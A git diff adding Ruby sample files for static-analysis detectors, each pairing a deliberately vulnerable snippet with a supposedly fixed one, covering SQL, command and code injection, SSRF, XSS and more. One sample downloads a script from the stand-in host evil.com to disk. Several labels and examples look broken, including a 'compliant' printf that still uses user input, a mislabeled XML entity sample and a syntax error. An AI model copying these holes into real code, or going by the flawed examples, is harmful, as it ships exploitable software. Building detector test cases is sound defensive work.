diff --git a/src/ruby/detectors/code-injection/code-injection.rb b/src/ruby/detectors/code-injection/code-injection.rb
new file mode 100644
index 0000000..fb4eb56
--- /dev/null
+++ b/src/ruby/detectors/code-injection/code-injection.rb
@@ -0,0 +1,20 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=code-injection@v1.0 defects=1}
+def code_injection_noncompliant()
+ code = params[:code]
+ # Noncompliant: User input is not sanitized.
+ @result = User.send(code)
+end
+# {/fact}
+
+# {fact rule=code-injection@v1.0 defects=0}
+def code_injection_compliant()
+ method = params[:method] == 1 ? :method_a : :method_b
+ # Compliant: User input is not passed in User.send().
+ @result = User.send(method, *args)
+end
+# {/fact}
diff --git a/src/ruby/detectors/cross-site-request-forgery/cross-site-request-forgery.rb b/src/ruby/detectors/cross-site-request-forgery/cross-site-request-forgery.rb
new file mode 100644
index 0000000..0561635
--- /dev/null
+++ b/src/ruby/detectors/cross-site-request-forgery/cross-site-request-forgery.rb
@@ -0,0 +1,24 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=cross-site-request-forgery@v1.0 defects=1}
+def cross_site_request_forgery_noncompliant
+ user = params[:user_id]
+ users_service_domain = params[:users_service_domain]
+ # Noncompliant: Complete URL is user-controlled.
+ response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body
+ token = JSON.parse(response)["token"]
+end
+# {/fact}
+
+# {fact rule=cross-site-request-forgery@v1.0 defects=0}
+def cross_site_request_forgery_compliant
+ user = params[:user_id]
+ users_service_path = params[:users_service_path]
+ # Compliant: Only suffix of the URL is controlled by user.
+ response = Excon.post("users-service/#{users_service_path}", body: {user_id: user}).body
+ token = JSON.parse(response)["token"]
+end
+# {/fact}
diff --git a/src/ruby/detectors/cross-site-scripting/cross-site-scripting.rb b/src/ruby/detectors/cross-site-scripting/cross-site-scripting.rb
new file mode 100644
index 0000000..14a50a1
--- /dev/null
+++ b/src/ruby/detectors/cross-site-scripting/cross-site-scripting.rb
@@ -0,0 +1,20 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=cross-site-scripting@v1.0 defects=1}
+def crosssite_scripting_noncompliant
+ name = params[":name"]
+ # Noncompliant: The parameter is not escaped.
+ "
#{name}
".html_safe
+end
+# {/fact}
+
+# {fact rule=cross-site-scripting@v1.0 defects=0}
+def crosssite_scripting_compliant
+ name = params[":name"]
+ # Compliant: Parameter is escaped.
+ "#{ERB::Util.html_escape(name)}
".html_safe
+end
+# {/fact}
diff --git a/src/ruby/detectors/divide_by_zero/divide_by_zero.rb b/src/ruby/detectors/divide_by_zero/divide_by_zero.rb
new file mode 100644
index 0000000..659ad46
--- /dev/null
+++ b/src/ruby/detectors/divide_by_zero/divide_by_zero.rb
@@ -0,0 +1,20 @@
+# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: Apache-2.0
+
+
+# {fact rule=divide-by-zero@v1.0 defects=1}
+def divide_by_zero_noncompliant
+ zero = 0
+ # Noncompliant: divide by zero
+ bad = variable/zero
+end
+# {/fact}
+
+# {fact rule=divide-by-zero@v1.0 defects=0}
+def divide_by_zero_compliant
+ # Compliant: check before dividing
+ if zero != 0
+ variable / zero
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/http-to-file-access/http-to-file-access.rb b/src/ruby/detectors/http-to-file-access/http-to-file-access.rb
new file mode 100644
index 0000000..87fec57
--- /dev/null
+++ b/src/ruby/detectors/http-to-file-access/http-to-file-access.rb
@@ -0,0 +1,32 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+require "net/http"
+
+class ExampleController < ActionController::Base
+
+ # {fact rule=http-to-file-access@v1.0 defects=1}
+ def http_file_access_noncompliant
+ resp = Net::HTTP.new("evil.com").get("/script").body
+ file = File.open("/tmp/script", "w")
+
+ # Noncompliant: Writing a file from http access.
+ file.write(resp)
+ end
+ # {/fact}
+
+
+ # {fact rule=http-to-file-access@v1.0 defects=0}
+ def http_file_access_compliant
+ a = "a"
+ file = File.open("/tmp/script", "w")
+
+ # Compliant: Not using any http access to write in file.
+ file.write(a)
+
+ end
+ # {/fact}
+
+end
diff --git a/src/ruby/detectors/improper-certificate-validation/improper-certificate-validation.rb b/src/ruby/detectors/improper-certificate-validation/improper-certificate-validation.rb
new file mode 100644
index 0000000..596a7a7
--- /dev/null
+++ b/src/ruby/detectors/improper-certificate-validation/improper-certificate-validation.rb
@@ -0,0 +1,26 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=improper-certificate-validation@v1.0 defects=1}
+require "httparty"
+
+def certificate_validation_noncompliant
+
+ # Noncompliant: SSL certificate validation is disabled.
+ HTTParty.get("http://example.com/", verify: false)
+
+end
+# {/fact}
+
+# {fact rule=improper-certificate-validation@v1.0 defects=0}
+require "httparty"
+
+def certificate_validation_compliant
+
+ # Compliant: SSL certificate validation is enabled.
+ HTTParty.get("http://example.com/", verify: true)
+
+end
+# {/fact}
diff --git a/src/ruby/detectors/improper-input-validation/improper-input-validation-compliant.rb b/src/ruby/detectors/improper-input-validation/improper-input-validation-compliant.rb
new file mode 100644
index 0000000..af141f4
--- /dev/null
+++ b/src/ruby/detectors/improper-input-validation/improper-input-validation-compliant.rb
@@ -0,0 +1,11 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=improper-input-validation@v1.0 defects=0}
+class InputValidation
+ # Compliant: Properly bounded regex passed to validates.
+ validates_format_of :good_valid, :with => /\A[a-zA-Z]\z/
+end
+# {/fact}
diff --git a/src/ruby/detectors/improper-input-validation/improper-input-validation-noncompliant.rb b/src/ruby/detectors/improper-input-validation/improper-input-validation-noncompliant.rb
new file mode 100644
index 0000000..38a5cfc
--- /dev/null
+++ b/src/ruby/detectors/improper-input-validation/improper-input-validation-noncompliant.rb
@@ -0,0 +1,13 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=improper-input-validation@v1.0 defects=1}
+class InputValidation
+ # Noncompliant: Improperly bounded regex passed to validates.
+ validates :username, :length => 6..20, :format => /([a-z][0-9])+/i
+
+ accepts_nested_attributes_for :author, :pages
+end
+# {/fact}
\ No newline at end of file
diff --git a/src/ruby/detectors/insecure-cryptography/insecure-cryptography.rb b/src/ruby/detectors/insecure-cryptography/insecure-cryptography.rb
new file mode 100644
index 0000000..d55259c
--- /dev/null
+++ b/src/ruby/detectors/insecure-cryptography/insecure-cryptography.rb
@@ -0,0 +1,20 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=insecure-cryptography@v1.0 defects=1}
+require 'openssl'
+
+def cryptography_noncompliant()
+ # Noncompliant: weak block mode
+ OpenSSL::Cipher::AES.new(128, :ecb)
+end
+# {/fact}
+
+# {fact rule=insecure-cryptography@v1.0 defects=0}
+def cryptography_compliant()
+ # Compliant: strong encryption algorithm
+ OpenSSL::Cipher::AES.new(128, :gcm)
+end
+# {/fact}
\ No newline at end of file
diff --git a/src/ruby/detectors/insufficiently-protected-credentials/insufficiently-protected-credentials.rb b/src/ruby/detectors/insufficiently-protected-credentials/insufficiently-protected-credentials.rb
new file mode 100644
index 0000000..c9ef808
--- /dev/null
+++ b/src/ruby/detectors/insufficiently-protected-credentials/insufficiently-protected-credentials.rb
@@ -0,0 +1,24 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=insufficiently-protected-credentials@v1.0 defects=1}
+require 'jwt'
+
+def insufficiently_protected_credentials_noncompliant(hmac_secret)
+ # Noncompliant: JWT password is hardcoded in payload.
+ payload = { data: 'data', password: 12345 }
+ token = JWT.encode payload, hmac_secret, 'HS256'
+ puts token
+end
+# {/fact}
+
+# {fact rule=insufficiently-protected-credentials@v1.0 defects=0}
+def insufficiently_protected_credentials_compliant(hmac_secret)
+ # Compliant: JWT password is not hardcoded.
+ payload = { data: 'data', nbf: nbf }
+ token = JWT.encode payload, hmac_secret, 'HS256'
+ puts token
+end
+# {/fact}
diff --git a/src/ruby/detectors/log-injection/log-injection.rb b/src/ruby/detectors/log-injection/log-injection.rb
new file mode 100644
index 0000000..f84c0f9
--- /dev/null
+++ b/src/ruby/detectors/log-injection/log-injection.rb
@@ -0,0 +1,40 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+require 'logger'
+
+class UsersController < ApplicationController
+ include ERB::Util
+
+ def init_logger
+ if @logger == nil
+ @logger = Logger.new STDOUT
+ end
+ end
+
+# {fact rule=log-injection@v1.0 defects=1}
+ def log_params_noncompliant
+ init_logger
+
+ unsanitized = params[:foo]
+ # Noncompliant: Unsanitized user-input is used in logger
+ @logger.error "input: " + unsanitized
+ end
+# {/fact}
+
+
+# {fact rule=log-injection@v1.0 defects=0}
+ def log_params_compliant
+ init_logger
+
+ unsanitized = params[:foo]
+
+ sanitized = unsanitized.gsub("\n", "")
+ # Compliant: Sanitized user-input is used in logger
+ @logger.warn "input: " + sanitized
+ end
+# {/fact}
+
+end
\ No newline at end of file
diff --git a/src/ruby/detectors/loose-file-permissions/loose-file-permissions.rb b/src/ruby/detectors/loose-file-permissions/loose-file-permissions.rb
new file mode 100644
index 0000000..f6538eb
--- /dev/null
+++ b/src/ruby/detectors/loose-file-permissions/loose-file-permissions.rb
@@ -0,0 +1,22 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=loose-file-permissions@v1.0 defects=1}
+require "fileutils"
+
+def open_file_permission_noncompliant(filename)
+
+ # Noncompliant: sets file world writable.
+ FileUtils.chmod 0222, filename
+end
+# {/fact}
+
+# {fact rule=loose-file-permissions@v1.0 defects=0}
+def open_file_permission_compliant(filename)
+
+ # Compliant: restricts group/world access.
+ FileUtils.chmod 0700, filename
+end
+# {/fact}
\ No newline at end of file
diff --git a/src/ruby/detectors/missing-pagination/missing-pagination.rb b/src/ruby/detectors/missing-pagination/missing-pagination.rb
new file mode 100644
index 0000000..2acc755
--- /dev/null
+++ b/src/ruby/detectors/missing-pagination/missing-pagination.rb
@@ -0,0 +1,23 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=missing-pagination@v1.0 defects=1}
+def missing_pagination_noncompliant
+ s3 = Aws::S3::Client.new
+ # Noncompliant: Missing pagination
+ response = s3.list_objects(bucket:'your-bucket-name')
+ puts response.contents.map(&:key)
+end
+# {/fact}
+
+# {fact rule=missing-pagination@v1.0 defects=0}
+def missing_pagination_compliant
+ s3 = Aws::S3::Client.new
+ # Compliant: Pagination used correctly
+ s3.list_objects(bucket:'your-bucket-name').each do |response|
+ puts response.contents.map(&:key)
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/os-command-injection/os-command-injection-compliant.rb b/src/ruby/detectors/os-command-injection/os-command-injection-compliant.rb
new file mode 100644
index 0000000..77bd398
--- /dev/null
+++ b/src/ruby/detectors/os-command-injection/os-command-injection-compliant.rb
@@ -0,0 +1,17 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=os-command-injection@v1.0 defects=0}
+require "shellwords"
+
+class UsersController < ActionController::Base
+ def oscommand_injection_noncompliant
+ cmd = params[:cmd]
+ safe_cmd = Shellwords.escape(cmd)
+ # Compliant: User data has been escaped
+ system(safe_cmd)
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/os-command-injection/os-command-injection-noncompliant.rb b/src/ruby/detectors/os-command-injection/os-command-injection-noncompliant.rb
new file mode 100644
index 0000000..f016465
--- /dev/null
+++ b/src/ruby/detectors/os-command-injection/os-command-injection-noncompliant.rb
@@ -0,0 +1,14 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=os-command-injection@v1.0 defects=1}
+class UsersController < ActionController::Base
+ def oscommand_injection_compliant
+ cmd = params[:cmd]
+ # Noncompliant: User data used directly as a command without escaping
+ system(cmd)
+ end
+end
+# {/fact}
\ No newline at end of file
diff --git a/src/ruby/detectors/path-traversal/path-traversal.rb b/src/ruby/detectors/path-traversal/path-traversal.rb
new file mode 100644
index 0000000..af48145
--- /dev/null
+++ b/src/ruby/detectors/path-traversal/path-traversal.rb
@@ -0,0 +1,20 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=path-traversal@v1.0 defects=1}
+def render_modern_param_noncompliant
+ page = params[:page]
+ # Noncompliant: Unsanitized user-input is used in render file.
+ render file: "/some/path/#{page}"
+end
+# {/fact}
+
+# {fact rule=path-traversal@v1.0 defects=0}
+def render_modern_param_compliant
+ page = params[:page]
+ # Compliant: User-input is sanitized before using it in render file.
+ render file: File.basename("/some/path/#{page}")
+end
+# {/fact}
diff --git a/src/ruby/detectors/resource-leak/resource-leak.rb b/src/ruby/detectors/resource-leak/resource-leak.rb
new file mode 100644
index 0000000..3c63784
--- /dev/null
+++ b/src/ruby/detectors/resource-leak/resource-leak.rb
@@ -0,0 +1,24 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=resource-leak@v1.0 defects=1}
+def file_reading_noncompliant(filename)
+ # Noncompliant: File hasn't been closed
+ file = File.open(filename, 'r')
+ contents = file.read
+ puts contents
+end
+# {/fact}
+
+# {fact rule=resource-leak@v1.0 defects=0}
+def file_reading_compliant(filename)
+ # Compliant: File has been closed after read
+ File.open(filename, 'r') do |file|
+ file.each_line do |line|
+ puts line
+ end
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/sensitive-http-action/sensitive-http-action-compliant.rb b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-compliant.rb
new file mode 100644
index 0000000..301a8c4
--- /dev/null
+++ b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-compliant.rb
@@ -0,0 +1,17 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=sensitive-http-action@v1.0 defects=0}
+class AccountsController < ApplicationController
+ def sensitive_http_get_compliant
+ # Compliant: GET request with 'elsif' which means exclusive blocks for other http methods
+ if request.get?
+ # Process request
+ elsif request.post?
+ # Process request
+ end
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/sensitive-http-action/sensitive-http-action-noncompliant.rb b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-noncompliant.rb
new file mode 100644
index 0000000..f25936a
--- /dev/null
+++ b/src/ruby/detectors/sensitive-http-action/sensitive-http-action-noncompliant.rb
@@ -0,0 +1,17 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=sensitive-http-action@v1.0 defects=1}
+class AccountsController < ApplicationController
+ def sensitive_http_get_noncompliant
+ # Noncompliant: GET request with a catch all 'else' block which might catch HEAD requests unknowingly
+ if request.get?
+ # Process request
+ else
+ # Process request
+ end
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/sensitive-information-leak/sensitive-information-leak.rb b/src/ruby/detectors/sensitive-information-leak/sensitive-information-leak.rb
new file mode 100644
index 0000000..02736ac
--- /dev/null
+++ b/src/ruby/detectors/sensitive-information-leak/sensitive-information-leak.rb
@@ -0,0 +1,28 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=sensitive-information-leak@v1.0 defects=1}
+def sensitive_information_leak_noncompliant
+ # Noncompliant: User-controlled data is passed in find.
+ @user = User.find(params[:id])
+
+ respond_to do |format|
+ format.html
+ format.json { render :json => @user }
+ end
+end
+# {/fact}
+
+# {fact rule=sensitive-information-leak@v1.0 defects=0}
+def sensitive_information_leak_compliant
+ # Compliant: Argument in find is not user-controlled.
+ @user = User.find(session[:id])
+
+ respond_to do |format|
+ format.html
+ format.json { render :json => @user }
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/server-side-request-forgery/server-side-request-forgery.rb b/src/ruby/detectors/server-side-request-forgery/server-side-request-forgery.rb
new file mode 100644
index 0000000..1312ed4
--- /dev/null
+++ b/src/ruby/detectors/server-side-request-forgery/server-side-request-forgery.rb
@@ -0,0 +1,22 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=server-side-request-forgery@v1.0 defects=1}
+require 'net/http'
+
+def server_side_request_forgery_noncompliant
+ url = params[:url]
+ # Noncompliant: url is passing through `HTTP.get()`.
+ Net::HTTP.get(url, "/index.html")
+end
+# {/fact}
+
+# {fact rule=server-side-request-forgery@v1.0 defects=0}
+def server_side_request_forgery_compliant
+ url = params[:url]
+ # Compliant: url is not passing through `HTTP.get()`.
+ Net::HTTP.get("example.com", "/index.html")
+end
+# {/fact}
diff --git a/src/ruby/detectors/sql-injection/sql-injection.rb b/src/ruby/detectors/sql-injection/sql-injection.rb
new file mode 100644
index 0000000..2d88245
--- /dev/null
+++ b/src/ruby/detectors/sql-injection/sql-injection.rb
@@ -0,0 +1,28 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=sql-injection@v1.0 defects=1}
+require 'pg'
+
+def sql_injection_noncompliant(event:, context:)
+ conn = PG::Connection.open(:dbname => 'test')
+
+ # Noncompliant: User-controlled parameter is used in SQL Statement.
+ res2 = conn.exec_params('SELECT * FROM foobar WHERE id = %{id}' % {id: event['id']})
+
+end
+# {/fact}
+
+# {fact rule=sql-injection@v1.0 defects=0}
+require 'pg'
+
+def sql_injection_compliant(event:, context:)
+ conn = PG::Connection.open(:dbname => 'test')
+
+ # Compliant: Parameterized SQL Statement.
+ res = conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [event['id'], 2, nil])
+
+end
+# {/fact}
diff --git a/src/ruby/detectors/stack-trace-exposure/stack-trace-exposure.rb b/src/ruby/detectors/stack-trace-exposure/stack-trace-exposure.rb
new file mode 100644
index 0000000..520324d
--- /dev/null
+++ b/src/ruby/detectors/stack-trace-exposure/stack-trace-exposure.rb
@@ -0,0 +1,25 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+class FooController < ApplicationController
+
+ # {fact rule=stack-trace-exposure@v1.0 defects=1}
+ def exposure_of_stack_trace_noncompliant
+ # Process
+ rescue => e
+ # Noncompliant: Rendering the stack trace information
+ render body: e.backtrace, content_type: "text/plain"
+ end
+ # {/fact}
+
+ # {fact rule=stack-trace-exposure@v1.0 defects=0}
+ def exposure_of_stack_trace_compliant
+ # Process
+ rescue => e
+ # Compliant: Rending a simple error message.
+ render body: "An error occurred", content_type: "text/plain"
+ end
+ # {/fact}
+end
diff --git a/src/ruby/detectors/tainted-format/tainted-format-compliant.rb b/src/ruby/detectors/tainted-format/tainted-format-compliant.rb
new file mode 100644
index 0000000..b259877
--- /dev/null
+++ b/src/ruby/detectors/tainted-format/tainted-format-compliant.rb
@@ -0,0 +1,13 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=untrusted-format-strings@v1.0 defects=0}
+class TaintedFormat < ActionController::Base
+ def sanitized_input
+ # Compliant: User-input is not used to format output.
+ printf(params[:format])
+ end
+end
+# {/fact}
diff --git a/src/ruby/detectors/tainted-format/tainted-format-noncompliant.rb b/src/ruby/detectors/tainted-format/tainted-format-noncompliant.rb
new file mode 100644
index 0000000..4aa6e9e
--- /dev/null
+++ b/src/ruby/detectors/tainted-format/tainted-format-noncompliant.rb
@@ -0,0 +1,13 @@
+=begin
+ Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+ SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=untrusted-format-strings@v1.0 defects=1}
+class TaintedFormat < ActionController::Base
+ def unsanitized_input
+ # Noncompliant: untrusted user input is being used directly in format sting.
+ printf(params[:format], arg)
+ end
+end
+# {/fact}
\ No newline at end of file
diff --git a/src/ruby/detectors/untrusted-deserialization/untrusted-deserialization.rb b/src/ruby/detectors/untrusted-deserialization/untrusted-deserialization.rb
new file mode 100644
index 0000000..b0db1b5
--- /dev/null
+++ b/src/ruby/detectors/untrusted-deserialization/untrusted-deserialization.rb
@@ -0,0 +1,19 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=untrusted-deserialization@v1.0 defects=1}
+def handler_noncompliant(event:, context:)
+ foobar = event['smth']
+ # Noncompliant: tainted data passed inside `CSV.load()`.
+ obj3 = CSV.load("o:" + event['data'])
+end
+# {/fact}
+
+# {fact rule=untrusted-deserialization@v1.0 defects=0}
+def handler_compliant(event:, context:)
+ # Compliant: no tainted data passed inside `CSV.load()`.
+ obj3 = CSV.load(get_safe_data())
+end
+# {/fact}
\ No newline at end of file
diff --git a/src/ruby/detectors/untrusted-file-open/untrusted-file-open.rb b/src/ruby/detectors/untrusted-file-open/untrusted-file-open.rb
new file mode 100644
index 0000000..9ed1190
--- /dev/null
+++ b/src/ruby/detectors/untrusted-file-open/untrusted-file-open.rb
@@ -0,0 +1,20 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=autoescape-disabled@v1.0 defects=0}
+filename = "testfile"
+# Compliant: File being opened is static.
+open(filename) do |f|
+ print f.gets
+end
+# {/fact}
+
+# {fact rule=autoescape-disabled@v1.0 defects=1}
+
+# Noncompliant: User-input directly controls which file is opened.
+cmd = open("|%s" % params[:file)
+print cmd.gets
+cmd.close
+# {/fact}
diff --git a/src/ruby/detectors/xml-external-entity/xml-external-entity.rb b/src/ruby/detectors/xml-external-entity/xml-external-entity.rb
new file mode 100644
index 0000000..73469cc
--- /dev/null
+++ b/src/ruby/detectors/xml-external-entity/xml-external-entity.rb
@@ -0,0 +1,18 @@
+=begin
+Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
+SPDX-License-Identifier: Apache-2.0
+=end
+
+# {fact rule=xml-external-entity@v1.0 defects=1}
+def xml_external_entity_noncompliant()
+ # Noncompliant: Disabling encryption of sensitive data
+ config.force_ssl = false
+end
+# {/fact}
+
+# {fact rule=xml-external-entity@v1.0 defects=0}
+def xml_external_entity_compliant()
+ # Compliant: Sensitive data is encrypted
+ config.force_ssl = true
+end
+# {/fact}